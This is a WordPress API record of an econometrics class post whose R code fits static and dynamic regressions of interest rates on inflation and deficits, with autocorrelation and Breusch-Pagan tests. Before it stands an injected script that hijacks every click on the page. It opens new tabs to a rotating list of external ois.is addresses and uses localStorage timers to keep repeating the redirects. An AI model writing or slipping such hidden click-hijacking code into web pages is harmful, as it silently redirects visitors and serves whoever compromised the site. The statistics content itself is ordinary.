<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1006,"date":"2022-12-02T13:06:09","date_gmt":"2022-12-02T05:06:09","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1006"},"modified":"2023-10-16T21:40:51","modified_gmt":"2023-10-16T13:40:51","slug":"221201-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8_2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1006","title":{"rendered":"221201 \u8a08\u91cf\u7d93\u6fdf\u5b78_2"},"content":{"rendered":"<p>data(intdef, package=&#8217;wooldridge&#8217;)<br \/>\nstr(intdef)<br \/>\n(intdef)<\/p>\n<p>&nbsp;<\/p>\n<p>A &lt;- intdef[,c(1,2,3,6)]<\/p>\n<p>windows()<br \/>\nplot(A)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1060\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-1-300x274.png\" alt=\"\" width=\"300\" height=\"274\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-1-300x274.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-1-800x730.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-1-768x700.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-1.png 864w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p># Linear regression of static model:<br \/>\nsummary( out &lt;- lm(i3~inf+def,data=intdef) )<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1061\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/\u672a\u540d-300x178.png\" alt=\"\" width=\"300\" height=\"178\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/\u672a\u540d-300x178.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/\u672a\u540d.png 765w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>A$res &lt;- out$residuals ###\u628a\u6b98\u5dee\u5b58\u56deA\u8cc7\u6599\u96c6<br \/>\nA<\/p>\n<p>windows()<br \/>\nplot(A$year,A$res)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1062\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/3-1-300x277.png\" alt=\"\" width=\"300\" height=\"277\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/3-1-300x277.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/3-1.png 723w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<br \/>\npacf( out$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1063\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-1-300x297.png\" alt=\"\" width=\"300\" height=\"297\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-1-300x297.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-1-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-1.png 727w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<br \/>\nacf( out$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1064\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/5-1-296x300.png\" alt=\"\" width=\"296\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/5-1-296x300.png 296w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/5-1.png 716w\" sizes=\"(max-width: 296px) 100vw, 296px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p># Define Yearly time series beginning in 1948<br \/>\ntsdata &lt;- ts(A, start=1948)<br \/>\nplot(tsdata)<\/p>\n<p># Libraries for dynamic lm, regression table and F tests<br \/>\nlibrary(dynlm);library(lmtest);library(car)<\/p>\n<p>out2 &lt;- dynlm(i3 ~ inf+def+L(i3,1) , data=tsdata)<br \/>\nwindows()<br \/>\npacf( out2$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1065\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/6-1-295x300.png\" alt=\"\" width=\"295\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/6-1-295x300.png 295w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/6-1.png 716w\" sizes=\"(max-width: 295px) 100vw, 295px\" \/><\/p>\n<p>windows()<br \/>\nacf( out2$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1066\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7-291x300.png\" alt=\"\" width=\"291\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7-291x300.png 291w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7.png 709w\" sizes=\"(max-width: 291px) 100vw, 291px\" \/><br \/>\ncoeftest(out2)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1067\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7_2-300x90.png\" alt=\"\" width=\"300\" height=\"90\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7_2-300x90.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7_2-750x227.png 750w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7_2.png 753w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>out3 &lt;- dynlm(i3 ~ inf+def+L(i3,1) + L(i3,2) , data=tsdata)<br \/>\nwindows()<br \/>\npacf( out3$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1068\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8-1-300x295.png\" alt=\"\" width=\"300\" height=\"295\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8-1-300x295.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8-1.png 716w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><br \/>\nwindows()<br \/>\nacf( out3$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1070\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/9-1-300x292.png\" alt=\"\" width=\"300\" height=\"292\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/9-1-300x292.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/9-1.png 730w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><br \/>\ncoeftest(out3)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1069\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8c-300x100.png\" alt=\"\" width=\"300\" height=\"100\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8c-300x100.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8c-750x253.png 750w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8c.png 759w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<hr \/>\n<p>library(lmtest)<br \/>\nbptest(out)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1028\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout-300x88.png\" alt=\"\" width=\"300\" height=\"88\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout-300x88.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout.png 486w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><br \/>\nbptest(out2)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1030\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout2-300x95.png\" alt=\"\" width=\"300\" height=\"95\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout2-300x95.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout2.png 487w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><br \/>\nbptest(out3)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1029\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout3-300x90.png\" alt=\"\" width=\"300\" height=\"90\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout3-300x90.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/bptestout3.png 487w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>data(intdef, package=&#8217;wooldridge&#038;#<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1006"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1006"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1006\/revisions"}],"predecessor-version":[{"id":1071,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1006\/revisions\/1071"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1006"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1006"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1006"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}